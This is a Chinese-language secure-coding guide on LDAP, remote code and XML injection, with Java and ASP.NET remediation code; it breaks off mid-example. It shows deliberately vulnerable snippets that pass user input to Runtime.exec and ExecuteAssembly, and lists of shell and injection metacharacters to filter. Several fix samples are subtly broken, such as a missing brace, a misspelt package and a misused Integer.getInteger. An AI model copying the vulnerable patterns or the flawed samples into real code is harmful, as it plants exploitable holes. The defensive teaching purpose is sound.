技术描述:该软件使用受外部影响的输入来构造 LDAP 查询的全部或一部分,而未能对可能用于修改 LDAP 查询的元素进行无害化处理。
如果在用户可控制的输入中没有对 LDAP 语法进行除去或引用,那么生成的 LDAP 查询可能会导致将这些输入解释为 LDAP 而不是普通用户数据。这可用于修改查询逻辑以绕过安全性检查,或者插入其他用于修改后端数据库的语句,可能包括执行系统命令。
威胁影响:
①可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置
②可能会绕开 Web 应用程序的认证机制
产生原因:未对用户输入正确执行危险字符清理

缓解修复:

[1] 策略:库或框架

使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。

[2] 策略:参数化

如果可用,使用自动实施数据和代码之间的分离的结构化机制。这些机制也许能够自动提供相关引用、编码和验证,而不是依赖于开发者在生成输出的每一处提供此能力。

[3] 策略:环境固化

使用完成必要任务所需的最低特权来运行代码。

[4] 策略:输出编码

如果在有风险的情况下仍需要使用动态生成的查询字符串或命令,请对参数正确地加引号并将这些参数中的任何特殊字符转义。

[5] 策略:输入验证假定所有输入都是恶意的。使用“接受已知善意”输入验证策略:严格遵守规范的可接受输入的白名单。拒绝没有严格遵守规范的任何输入,或者将其变换为严格遵守规范的内容。不要完全依赖于通过黑名单检测恶意或格式错误的输入。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入由于格式严重错误而应直接拒绝。

0x04 远程代码注入

技术描述:

Web 应用程序使用操作系统呼叫来执行本机图像,以扩展它们的功能或运行旧版代码。

不用说,直接抵达这些呼叫的用户输入当然极危险,因为如此一来,恶意用户便可以使用应用程序主机的凭证来运行本机代码,甚至造成彻底的系统伤害。

传播到共享库装入方法(如 Java 的 java.lang.Runtime.loadLibrary)中的用户输入也同样危险,也应该避免。

即便用户只控制图像参数,未控制要装入的图像,也必须采取预防措施,因为执行者(如命令 Shell)可能会允许命令绑定或管道任务。

此外,还需要留意“路径遍历”问题。 以下是易受攻击的 Java 代码:

  static final String isolatedPath = "c:/isolatedEnvironment"
  
  String userCmd = request.getParameter("cmd")
  
  Runtime run = Runtime.getRuntime();
  
  
  Process p = run.exec(isolatedPath + "/" + userCmd);

类似的 ASP.NET 示例:


  ...
  	String cmd = UserCommand.Tex
  	AppDomain currentDomain = AppDomain.CurrentDomain;
  	currentDomain.ExecuteAssembly("c:\\isolatedEnvironment\\" + cmd);
  ...

在上述示例中,恶意用户可以注入两点(“..”)来隔开单独的环境。

威胁影响:可能会在 Web 服务器上运行远程命令。这通常意味着完全破坏服务器及其内容
产生原因:

用户控制的数据传播到了敏感 API 中
未对用户输入正确执行危险字符清理

缓解修复:

若干问题的补救方法在于对用户输入进行清理。通过验证用户输入未包含危险字符,便可能防止恶意的用户让您的应用程序运行计划外的操作,例如:启用任意 SQL 查询、嵌入运行于客户端的 Javascript 代码、运行各种操作系统命令,等等。

建议过滤出以下所有字符:

[1] |(竖线符号)

[2] & (& 符号)

[3];(分号)

[4] $(美元符号)

[5] %(百分比符号)

[6] @(at 符号)

[7] '(单引号)

[8] "(引号)

[9] \'(反斜杠转义单引号)

[10] \"(反斜杠转义引号)

[11] <>(尖括号)

[12] ()(括号)

[13] +(加号)

[14] CR(回车符,ASCII 0x0d)

[15] LF(换行,ASCII 0x0a)

[16] ,(逗号)

[17] \(反斜杠)

替代补救方案验证未清理的输入是无害的。


以下是好的用户输入验证机制:


[1] 正面验证 -


比对用户输入与已知可接受的值集(白名称列表)、范围或正则表达式。 如果找不到匹配项,就以适当方式拒绝输入。


[2] 间接选择 -


不直接使用用户输入。用户输入应该当作可接受值的散列表中的一个键来处理。


[3] 消息认证代码(MAC)-


如果需要允许的值的动态实例化,可以使用 HMAC 来保护它们。 这类 MAC 在连接了密钥的值上运行加密散列函数而计算出来。


将 HMAC 附加到请求之后,当接收请求时,再加以验证,便可以使用 HMAC。

这样做可以确保值的完整性及真实性有效,不是恶意的用户所伪造。


在给定密钥和数据之后,这个函数(用 Java 撰写)会生成一个 HMAC:

验证用户输入的下列属性也是好的做法:


[1] 参数类型 -

在 Web 应用程序中,输入参数的类型欠佳。 例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确


[2] 参数长度 -

请确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。

另外,除去会触发问题的敏感 API 呼叫,也可以补救许多问题,例如,下列问题示例及其修订建议:


远程执行码:


[1] 清理输入以排除对执行操作系统命令有意义的符号,例如:


[a] |(竖线符号)

[b] &(& 符号)

[c] ;(分号)

[d] .(点)

(点)[2] 可能的话,请在更改根目录的环境中运行 Web 应用程序

[3] 不让用户指定要直接装入的本机图像。 如果需要多重选择,请使用白名称列表、“间接选择”或 HMAC。


代码注入:

[1] 清理用户输入的危险字符。 要清理的字符集,会随着求值的语言及所求值的表达式其中之输入的上下文而不同。

[2] 避免利用用户控制的数据来呼叫脚本评估程序

[3] 利用正面验证机制(模式匹配)。



SOAP 操作


[1] 避免将用户控制的输入传到敏感的 SOAP 相关呼叫中

[2] 应用正面验证机制(模式匹配)。

[3] 清理用户输入。 建议您过滤下列字符,或将它们转换成转义的 XML 相等项:

[a] <>(尖括号)

[b] "(引号)

[c] '(单引号)

[d] &(& 符号)

[4] 可以的话,将用户输入放在 CDATA 部分中(也就是说,用户输入是字符)。 CDATA 部分会指示 XML 引擎避免解析它包含的数据。 不过,请别忘了过滤出或转义 CDATA 终止文本字符串 ("]]>")。

J2EE

** 清理用户输入:

以下是清理用户输入的 Java 特定机制,以及上述一般机制的 Java 实施:

[1] 不需要全部重新处理 - 在大部分情况下,必要的清理能力都已实施。

Apache StringEscapeUtils(Apache Commons Lang 的一部分)已实施各种目标的清理方法(其中包括 HTML、XML、SQL,等等)。

不过,如果未曾实施必要的清理方法,您可以撰写自己的清理函数。

以下是避免遭受“跨站点脚本编制”的清理方法:

       public static String filter(String value) {
            if (value == null) {
                return null;
            }        
            StringBuffer result = new StringBuffer(value.length());
            for (int i=0; i<value.length(); ++i) {
                switch (value.charAt(i)) {
                case '<':
                    result.append("&lt;");
                    break;
                case '>': 
                    result.append("&gt;");
                    break;
                case '"': 
                    result.append("&quot;");
                    break;
                case '\'': 
                    result.append("&#39;");
                    break;
                case '%': 
                    result.append("&#37;");
                    break;
                case ';': 
                    result.append("&#59;");
                    break;
                case '(': 
                    result.append("&#40;");
                    break;
                case ')': 
                    result.append("&#41;");
                    break;
                case '&': 
                    result.append("&amp;");
                    break;
                case '+':
                    result.append("&#43;");
                    break;
                default:
                    result.append(value.charAt(i));
                    break;
            }        
            return result;
        }

[2] 各种“Java Web 应用程序”框架都会自动清理传播到“HTTP 响应”中的危险字符。 其中包括 Apache 的 Struts,在缺省情况下,它支持在使用 Struts 'bean:write' 标记撰写的所有数据上,过滤 HTTP 响应中输出的危险字符。

[3] Servlet 过滤器 - Java Servlet API 2.3 引进了过滤器,它支持截取及变换 HTTP 请求或响应。


以下为使用“Servlet 过滤器”来清理使用 StringEscapeUtils.escapeHtml 响应的示例:

      // Example to filter all sensitive characters in the HTTP response using a Java Filter.
      // This example is for illustration purposes since it will filter all content in the response, including HTML tags!
      public class SensitiveCharsFilter implements Filter {
          ...
          public void doFilter(ServletRequest request,
                          ServletResponse response,
                          FilterChain chain)
                  throws IOException, ServletException {
              PrintWriter out = response.getWriter();
              ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
              chain.doFilter(request, wrapper);
              CharArrayWriter caw = new CharArrayWriter();
  
              caw.write(StringEscapeUtils.escapeHtml(wrapper.toString()));
              
              response.setContentType("text/html");
              response.setContentLength(caw.toString().length());
              out.write(caw.toString());
              out.close();
          }
          ...
          public class CharResponseWrapper extends HttpServletResponseWrapper {
              private CharArrayWriter output;
              public String toString() {
                  return output.toString();
              }
          
              public CharResponseWrapper(HttpServletResponse response){
                  super(response);
                  output = new CharArrayWriter();
              }
              
              public PrintWriter getWriter(){
                  return new PrintWriter(output);
              }
          }
     } 

引用A. Apache Commons Lang(包括 StringUtils)-

http://commons.apache.org/lang/

B. Apache Struts -

http://struts.apache.org/

** 用户输入验证

以下是验证用户输入的 Java 特定机制,以及上述一般机制的 Java 实施:

[1] 正面验证

[a] 白名称列表 -

        HashSet<String> destinations = new HashSet<String>();
          
          
        /* Add IP addresses to the map */
          
        destinations.add("192.168.0.1");
        destinations.add("192.168.0.2");
  
          String dest = request.getParameter("dest");
          
        if (null == dest)
        {
              out.println("destination not provided");
            return;
        }
          
        /* Validate destination */
      
        if (!destinations.contains(dest))
        {
            out.println("invalid dest!");
            return;
        }
  
        Socket s = new Socket();
  
        InetSocketAddress addr = new InetSocketAddress(dest, 80);
        s.connect(addr);
  
        out.println("connected!");
            

[b] 模式匹配 - 对比输入与预期的模式。 例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]*$


Java 1.3 或更早的版本不包含任何正则表达式包。建议将“Apache 正则表达式包”(请参阅以下“资源”)与 Java 1.3 一起使用,以解决该缺乏支持的问题。执行正则表达式验证的示例:

            // Example to validate that a given value matches a specified pattern
            // using the Apache regular expression package
            import org.apache.regexp.RE;
            import org.apache.regexp.RESyntaxException;
            ...
            public static boolean matchPattern(String value, String expression) {
              RE r = new RE(expression);
              return r.match(value);             
            }
            ...
            // Verify that the userName request parameter is alphanumeric
            String userName = request.getParameter("userName");
            if (matchPattern(userName, "^[a-zA-Z0-9]*$")) {
               // userName is valid, continue processing request
                ...
            }
           

Java 1.4 引进了一种新的正则表达式包(java.util.regex)。以下是 Validator.matchPattern 的修订版,使用新的 Java 1.4 正则表达式包:

           // Example to validate that a given value matches a specified pattern
           // using the Java 1.4 regular expression package
           import java.util.regex.Pattern;
           import java.util.regexe.Matcher;
           ...
           public static boolean matchPattern(String value, String expression) {
              return Pattern.matches(expression, value);
           }
           ...
           

[c] 范围验证 - 以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:

          // Example to validate the field range
        ...
      public static boolean validateRange(int value, int min, int max) {
          return (value >= min && value <= max);
      }
      ...
          String fieldValue = request.getParameter("numberOfChoices");
          ... 
          numeric validation
          ...
          int numberOfChoices = Integer.parseInt(fieldValue);
          if (validateRange(numberOfChoices, 10, 20)) {
            // numberOfChoices is valid, continue processing request
        ...
          }

[2] 间接选择 -


下列代码片段在 J2EE 下,实施上述用户输入验证“间接选择”机制:


      TreeMap<String, String> ipAddresses= new TreeMap<String,String>();
          
      /* Add IP addresses to the map */
      ipAddresses.put("SiteOne",   "192.168.0.1");
      ipAddresses.put("SiteTwo",   "192.168.0.2");
  
      String selector = request.getParameter("dest");
      
      if (null == selector)
          return;
  
      /* Fetch the IP using the user controlled selector */
      
      String dest = ipAddresses.get(selector);
  
      if (null == dest)
          return;
  
  
      Socket s = new Socket();
          
      InetSocketAddress addr = new InetSocketAddress(dest, 80);
  
      s.connect(addr);

[3] 消息认证代码(MAC)-


下列函数在 J2EE 之下,实施上述用户输入验证 HMAC 机制:


在给定密钥和数据之后,这个函数会生成一个 HMAC:


       byte[] calcHMAC(SecretKey key, String data)
         {
             try {
                 Mac mac = Mac.getInstance(key.getAlgorithm());
                 mac.init(key);
       
                 return mac.doFinal(data.getBytes());
              
             } catch (InvalidKeyException e) {
                 return null;
             } catch (NoSuchAlgorithmException e) {
                 return null;
             } 
             
         }

以下代码利用上述函数来防御“连接操纵”:

      String hmac = request.getParameter("hmac");
      String dest = request.getParameter("dest");
  
  
      if (null == hmac || null == dest)
      {
          out.println("missing input");
          return;
      }
  
      // validate HMAC
      if (!Arrays.equals(Base64.decodeBase64(hmac.getBytes()), generateHMAC(myKey, dest)))
      {
          out.println("invalid input");
          return;
      }
          
      Socket s = new Socket();
      
      InetSocketAddress addr = new InetSocketAddress(dest, 80);
      s.connect(addr);
      
      out.println("connected!");

[4] Java SecurityManager -


通过 Java 的 SecurityManager,可对 JVM 能够访问哪些 API 以及如何访问(即使用哪些参数)进行微调。

定义策略文件,便可以定义安全性限制。

以下是 Java 所提供不同许可权类型的短列表,分别附有各类型的简要说明:

AllPermission - 授予所有许可权,应当谨慎使用

AudioPermission - 授予对音频系统资源的访问权

AWTPermission - 授予对各种 AWT(抽象窗口工具箱)资源(如剪贴板和屏幕)的访问权

FilePermission - 授予对文件相关操作的访问权

NetPermission - 授予对各种网络操作的访问权

PropertyPermission - 授予对各种 Java 属性(如“java.home”和“os.name”)的访问权

ReflectPermission - 授予对反射操作的访问权

RuntimePermission - 授予对运行时相关操作(如退出 VM,装入本机库等)的访问权

SecurityPermission - 授予安全相关操作的访问权,例如:控制 SecurityManager 本身。

SerializablePermission - 授予串行化操作的访问权,例如:在串行化或编组期间替换对象

SocketPermission - 通过套接字授予网络操作访问权。

SQLPermission - 授予版本 SQL 记录相关功能的访问权。


以下是如何授予 c:\code 中代码的访问权来中止 VM 的示例:

      grant codeBase "file:c:\\code\\-" {
             permission java.lang.RuntimePermission "exitVM";
      };

在缺省情况下,Java 的 SecurityManager 会关闭。 使用“java.security.manager”标志来运行 JVM,便可以将其激活。

缺省策略文件有两个:系统策略文件(在 java.home\lib\security\java.policy 下),以及用户策略文件(在 user.home\.java.policy 下)

您也可以指定其他或不同的策略文件。 当运行 VM 时,触发在文件名旁边的“java.security.policy”标志,便可以做到这一点。

如果要在 Tomcat 中激活 SecurityManager,您应该在运行 catalina.bat 或 catalina.sh 时,指定 -security 命令行自变量。 策略文件位于 CATALINA_HOME/lib

以下是各种用户输入属性的验证的 Java 特定机制:

[1] 类型检查

接着便是 Java 的数字(int)类型验证功能实施:

        public static boolean validateInt(String value) {
            boolean isFieldValid = false;
            try {
                Integer.parseInt(value);
                isFieldValid = true;
            } catch (Exception e) {
                isFieldValid = false;
            }
            return isFieldValid;
        }

好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的“integerValue”存储在请求属性中,并按以下示例所示来使用:

    // Example to convert the HTTP request parameter to a primitive wrapper data type
    // and store this value in a request attribute for further processing
    String fieldValue = request.getParameter("fieldName");
    if (Validator.validateInt(fieldValue)) {
        // convert fieldValue to an Integer
        Integer integerValue = Integer.getInteger(fieldValue);
        // store integerValue in a request attribute
        request.setAttribute("fieldName", integerValue);
    }
    ...
    // Use the request attribute for further processing
    Integer integerValue = (Integer)request.getAttribute("fieldName");

应用程序应处理的主要 Java 数据类型:

- Byte

- Short

- Integer

- Long

- Float

- Double

- Date


[2] 长度验证

Java String 长度验证器实施:

        public static boolean validateLength(String value, int minLength, int maxLength) {
            String validatedValue = value;
            if (!validateRequired(value)) {
                validatedValue = "";
            }
            return (validatedValue.length() >= minLength &&
                        validatedValue.length() <= maxLength);
        }
        ...
    }


推荐使用的 JAVA 工具

用于服务器端验证的两个主要的 Java 框架如下:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 实施所有以上数据验证需求,是强大的框架。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。缺省情况下,Struts 支持在使用 Struts“bean:write”标记撰写的所有数据上,过滤 HTTP 响应中输出的危险字符。 可通过设置“filter=false”标志来禁用该过滤。

Struts 定义以下基本输入验证器,但也可定义定制的验证器:

required:如果字段包含空格以外的任何字符,便告成功。

mask:如果值与掩码属性给定的正则表达式相匹配,便告成功。

range:如果值在 min 和 max 属性给定的值的范围内((value >= min) & (value <= max)),便告成功。

maxLength:如果字段长度小于或等于 max 属性,便告成功。

minLength:如果字段长度大于或等于 min 属性,便告成功。

byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。

date:如果值代表有效日期,便告成功。可能会提供日期模式。

creditCard:如果值可以是有效的信用卡号码,便告成功。

e-mail:如果值可以是有效的电子邮件地址,便告成功。

使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:

  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateMask"
              msg="errors.invalid">
          </validator>
          ...
      </global>
      <formset>
          <form name="loginForm">
              <!-- userName is required and is alpha-numeric case insensitive -->
              <field property="userName" depends="required,mask">
                  <!-- message resource key to display if validation fails -->
                  <msg name="mask" key="login.userName.maskmsg"/>
                  <arg0 key="login.userName.displayname"/>
                  <var>
                      <var-name>mask</var-name>
                      <var-value>^[a-zA-Z0-9]*$</var-value>
                  </var>
              </field>
          ...
          </form>
          ...
      </formset>
  </form-validation>

[2] JavaServer Faces 技术

“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件和验证输入的 Java API(JSR 127)。

JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器:

validate_doublerange:在组件上注册 DoubleRangeValidator。

validate_length:在组件上注册 LengthValidator。

validate_longrange:在组件上注册 LongRangeValidator。

validate_required:在组件上注册 RequiredValidator。

validate_stringrange:在组件上注册 StringRangeValidator。

validator:在组件上注册定制的 Validator。

JavaServer Faces API 定义以下 UIInput 和 UIOutput 处理器(标记):

input_date:接受以 java.text.Date 实例格式化的 java.util.Date。

output_date:显示以 java.text.Date 实例格式化的 java.util.Date。

input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date。

output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date。

input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。

output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。

input_text:接受单行文本字符串。

output_text:显示单行文本字符串。

input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date。

output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date。

input_hidden:允许页面作者在页面中包括隐藏变量。

input_secret:接受不含空格的单行文本,并在输入时,将其显示为一组星号。

input_textarea:接受多行文本。

output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。

output_label:将嵌套的组件显示为指定输入字段的标签。

output_message:显示本地化消息。


使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

  <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
  <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
  ...
  <jsp:useBean id="UserBean"
      class="myApplication.UserBean" scope="session" />
  <f:use_faces>
    <h:form formName="loginForm" >
      <h:input_text id="userName" size="20" modelReference="UserBean.userName">
          <f:validate_required/>
          <f:validate_length minimum="8" maximum="20"/>    
      </h:input_text>
      <!-- display errors if present -->
      <h:output_errors id="loginErrors" clientId="userName"/>
      <h:command_button id="submit" label="Submit" commandName="submit" /><p>
    </h:form>
  </f:use_faces>

引用A. Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

B. Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

C. Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

D. Java 正则表达式包 -

http://jakarta.apache.org/regexp/

E. Jakarta 验证器 -

http://jakarta.apache.org/commons/validator/

F. JavaServer Faces 技术 -

http://java.sun.com/j2ee/javaserverfaces/

G. JavaTM 2 SDK 中的许可权:

http://docs.oracle.com/javase/1.5.0/docs/guide/security/permissions.html

H. 如何使用“Java 安全管理器”来运行 jboss:

http://wiki.jboss.org/wiki/ConfiguringAJavaSecurityManager

I. Apache Tomcat 安全管理器手册:

http://tomcat.apache.org/tomcat-6.0-doc/security-manager-howto.html

** 各类问题类型的特定 J2EE 修订建议:


远程执行码:

[1] 利用 Java 的 SecurityManager 来确定允许目标的白名称列表。

如下所示,精心制作一个 FilePermission 规则条目,便可以控制 exec 呼叫:

        grant codeBase "file:<codepath>" {
            permission java.io.FilePermission "<path>","execute";
        };
    

如下所示,精心制作一个 RuntimePermission 规则条目,便可以控制 loadLibrary 呼叫:

        grant codeBase "file:<codepath>" {
            permission java.lang.RuntimePermission "loadLibrary.<library name (e.g.: kernel32)>"
        };
    


资源注入:

[1] 利用 Java 的 SecurityManager。

例如,指定下列“grant”规则,可以限制应用程序绑定所能绑定的端口:

      grant codeBase "file:<codepath>" {
          permission java.net.SocketPermission "<host|0.0.0.0 for all interfaces>:<port>","listen";
      };

代码注入:

[1] 实施正面验证机制(模式匹配)

下列 J2EE 代码证明如何提交求值的表达式只包含简单计算所需要的特定字符集:

        String val = request.getParameter("val");
        ExpressionEvaluator e = pageContext.getExpressionEvaluator();
        
      // Positive validation
        if (val.matches(".*[^()*+-/\\d]+.*"))
        {
            out.println("invalid input");
        }
        else
        {
            Integer result = (Integer)e.evaluate("${" + val + "}", Integer.class, pageContext.getVariableResolver(), null);    
            out.println(result);
        }
    

SOAP 操作:

[1] 实施正面验证机制(模式匹配)

下列 J2EE 代码证明如何确保用户输入只包含字母数字字符:

        SOAPMessage m = mf.createMessage();
      
        SOAPBody b = m.getSOAPBody();
      
        if (! body.matches("\\w+"))
        {
            out.println("invalid input");
            return;
        }
        b.addChildElement(sf.createName(body));
     

[2] 下列代码片段证明如何利用 Apache 的 StringUtils,在 Java 中转义 XML 数据:

        String body = request.getParameter("val");
        SOAPMessage m = mf.createMessage();
         
        SOAPBody b = m.getSOAPBody();
         
        String encodedBody = StringEscapeUtils.escapeXml(body);
         
        b.addChildElement(sf.createName(encodedBody));
     

0x05 XML 注入

技术描述:

一些 Web 应用程序将 XML 文件用于各种用途,从配置到完整数据库功能。

用户输入通常会传播到这些文件中,进而定制配置或更新应用程序数据库。

如果在使用用户输入之前未清理或验证错误字符,那么这会成为安全隐患。

当未采取任何预防措施时,恶意用户可以变更配置指令,添加新用户(如果用户列表通过 XML 文件进行维护),获取更高的特权等等。

以下证明易受攻击的 J2EE 应用程序:

  
  		Document doc = docBuilder.newDocument();
  
  		Element rootElement = doc.createElement("root");
  		doc.appendChild(rootElement);
   
  		Element firstElement = doc.createElement("first");
  		rootElement.appendChild(firstElement);
   
  		Element childElement = doc.createElement("child");
  		childElement.appendChild(doc.createTextNode(--User_Supplied_Text--)); // un-sanitized text
  		rootElement.appendChild(childElement);
  
  		…
  

以下内容演示类似的易受攻击的 .NET 应用程序:

  
  		String nodeText = request.getParameter("node");
  
  		XmlWriterSettings settings = new XmlWriterSettings();
  
  		writer = XmlWriter.Create(m_Document, settings);
  
  		…
  
  		writer.WriteElementString("newNode", nodeText); // un-sanitized text
  
  		…
  
  		 writer.WriteEndElement();
  

以此代码为例,用户输入传播到 XML 文件中而未适当清理。

根据应用程序使用 XML 文件的方式,可以各种方法利用此漏洞。

威胁影响:
此攻击的最坏情形取决于在客户端所修改的页面上下文
可能会破坏应用程序逻辑
产生原因:未对用户输入正确执行危险字符清理
缓解修复:

若干问题的补救方法在于对用户输入进行清理。

通过验证用户输入未包含危险字符,便可能防止恶意的用户导致应用程序执行计划外的任务,例如:启动任意 SQL 查询、嵌入将在客户端执行的 Javascript 代码、运行各种操作系统命令,等等。


建议过滤出所有以下字符:

[1] |(竖线符号)

[2] & (& 符号)

[3];(分号)

[4] $(美元符号)

[5] %(百分比符号)

[6] @(at 符号)

[7] '(单引号)

[8] "(引号)

[9] \'(反斜杠转义单引号)

[10] \"(反斜杠转义引号)

[11] <>(尖括号)

[12] ()(括号)

[13] +(加号)

[14] CR(回车符,ASCII 0x0d)

[15] LF(换行,ASCII 0x0a)

[16] ,(逗号)

[17] \(反斜杠)

以下部分描述各种问题、问题的修订建议以及可能触发这些问题的危险字符:

SQL 注入和 SQL 盲注:

A. 确保用户输入的值和类型(如 Integer、Date 等)有效,且符合应用程序预期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。当使用存储过程时,请利用 ADO 命令对象来实施它们,以强化变量类型。

C. 清理输入以排除上下文更改符号,例如:

[1] '(单引号)

[2] "(引号)

[3] \'(反斜线转义单引号)

[4] \"(反斜杠转义引号)

[5] )(结束括号)

[6] ;(分号)

跨站点脚本编制:

A. 清理用户输入,并过滤出 JavaScript 代码。我们建议您过滤下列字符:

[1] <>(尖括号)

[2] "(引号)

[3] '(单引号)

[4] %(百分比符号)

[5] ;(分号)

[6] ()(括号)

[7] &(& 符号)

[8] +(加号)

B. 如果要修订 <%00script> 变体,请参阅 MS 文章 821349

C. 对于 UTF-7 攻击: [-] 可能的话,建议您施行特定字符集编码(使用 'Content-Type' 头或 <meta> 标记)。

HTTP 响应分割:清理用户输入(至少是稍后嵌入在 HTTP 响应中的输入)。

请确保输入未包含恶意的字符,例如:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)远程命令执行:清理输入以排除对执行操作系统命令有意义的符号,例如:

[1] |(竖线符号)

[2] & (& 符号)

[3];(分号)

执行 shell 命令:

A. 绝不将未检查的用户输入传递给 eval()、open()、sysopen()、system() 之类的 Perl 命令。

B. 确保输入未包含恶意的字符,例如:

[1] $(美元符号)

[2] %(百分比符号)

[3] @(at 符号)

XPath 注入:清理输入以排除上下文更改符号,例如:

[1] '(单引号)

[2] "(引号) 等

LDAP 注入:

A. 使用正面验证。字母数字过滤(A..Z,a..z,0..9)适合大部分 LDAP 查询。

B. 应该过滤出或进行转义的特殊 LDAP 字符:

[1] 在字符串开头的空格或“#”字符

[2] 在字符串结尾的空格字符

[3] ,(逗号)

[4] +(加号)

[5] "(引号)

[6] \(反斜杠)

[7] <>(尖括号)

[8] ;(分号)

[9] ()(括号)

MX 注入:

应该过滤出特殊 MX 字符:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)记录伪造:

应该过滤出特殊记录字符:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)

[3] BS(退格,ASCII 0x08)

ORM 注入:

A. 确保用户输入的值和类型(如 Integer、Date 等)有效,且符合应用程序预期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。C. 使用参数化查询 API

D. 清理输入以排除上下文更改符号,例如: (*):

[1] '(单引号)

[2] "(引号)

[3] \'(反斜线转义单引号)

[4] \"(反斜杠转义引号)

[5] )(结束括号)

[6] ;(分号)

(*) 这适用于 SQL。高级查询语言可能需要不同的清理机制。

Asp.Net

[1] 我们建议您将服务器升级至 .NET Framework 2.0(或更新的版本),它本身就包括针对跨站点脚本编制攻击进行保护的安全检查。

[2] 您可以使用验证控件,将输入验证添加到“Web 表单”页面。 验证控件提供适用于标准验证的所有常见类型的易用机制(例如,测试验证日期是否有效,或验证值是否在范围内)。 另外,验证控件也支持定制编写验证,可让您完整定制向用户显示错误信息的方式。 验证控件可以搭配“Web 表单”页面类文件中处理的任何控件来使用,其中包括 HTML 和 Web 服务器控件。


要确保用户输入仅包含有效值,您可以使用以下验证控件中的一种:


[1] “RangeValidator”:检查用户条目(值)是否在指定的上下界限之间。您可以检查配对数字、字母字符和日期内的范围。

[2] “RegularExpressionValidator”:检查条目是否与正则表达式定义的模式相匹配。此类型的验证使您能够检查可预见的字符序列,如社会保险号码、电子邮件地址、电话号码、邮政编码等中的字符序列。

有助于阻止跨站点脚本编制的正则表达式示例:


- 可以拒绝基本跨站点脚本编制变体的正则表达式可能如下:^([^<]|\<[^a-zA-Z])*[<]?$

- 拒绝上述所有字符的一般正则表达式可能如下:^([^\<\>\"\'\%\;\)\(\&\+]*)$


重要注意事项:验证控件不会阻止用户输入或更改页面处理流程;它们只会设置错误状态,并产生错误消息。程序员的职责是,在执行进一步的应用程序特定操作前,测试代码中控件的状态。

有两种方法可检查用户输入的有效性:

1. 测试常规错误状态:

在您的代码中,测试页面的 IsValid 属性。 该属性会将页面上所有验证控件的 IsValid 属性值汇总(使用逻辑 AND)。如果将其中一个验证控件设置为无效,那么页面属性将会返回 false。

2. 测试个别控件的错误状态:

在页面的“验证器”集合中循环,该集合包含对所有验证控件的引用。 然后,您就可以检查每个验证控件的 IsValid 属性。


最后,我们建议使用 Microsoft Anti-Cross Site Scripting Library(V1.5 更高版本)对不受信任的用户输入进行编码。


Anti-Cross Site Scripting Library 显现下列方法:


[1] HtmlEncode - 将在 HTML 中使用的输入字符串编码

[2] HtmlAttributeEncode - 将在 HTML 属性中使用的输入字符串编码

[3] JavaScriptEncode - 将在 JavaScript 中使用的输入字符串编码

[4] UrlEncode - 将在“统一资源定位器 (URL)”中使用的输入字符串编码

[5] VisualBasicScriptEncode - 将在 Visual Basic 脚本中使用的输入字符串编码

[6] XmlEncode - 将在 XML 中使用的输入字符串编码

[7] XmlAttributeEncode - 将在 XML 属性中使用的输入字符串编码


如果要适当使用 Microsoft Anti-Cross Site Scripting Library 来保护 ASP.NET Web 应用程序,您必须运行下列操作:


第 1 步:复查生成输出的 ASP.NET 代码

第 2 步:判断是否包括不受信任的输入参数

第 3 步:判断不受信任的输入的上下文是否作为输出,判断要使用哪个编码方法

第 4 步:编码输出



第 3 步骤的示例:


注意:如果要使用不受信任的输入来安装 HTML 属性,便应该使用 Microsoft.Security.Application.HtmlAttributeEncode 方法,将不受信任的输入编码。

另外,如果要在 JavaScript 的上下文中使用不受信任的输入,便应该使用 Microsoft.Security.Application.JavaScriptEncode 来编码。


  // Vulnerable code
  // Note that untrusted input is being treated as an HTML attribute
  Literal1.Text = "<hr noshade size=[untrusted input here]>";
  
  
  // Modified code
  Literal1.Text = "<hr noshade size="+Microsoft.Security.Application.AntiXss.HtmlAttributeEncode([untrusted input here])+">";

第 4 步骤的示例:将输出编码时,必须记住的一些重要事项:


[1] 输出应该编码一次。

[2] 输出的编码与实际撰写,应该尽可能接近。 例如,如果应用程序读取用户输入、处理输入,再用某种形式将它重新写出,便应该紧接在撰写输出之前进行编码。


  // Incorrect sequence
  protected void Button1_Click(object sender, EventArgs e)
  {
      // Read input
      String Input = TextBox1.Text;
      // Encode untrusted input
      Input = Microsoft.Security.Application.AntiXss.HtmlEncode(Input);
      // Process input
      ...
      // Write Output
      Response.Write("The input you gave was"+Input);
  }
  
  
  // Correct Sequence
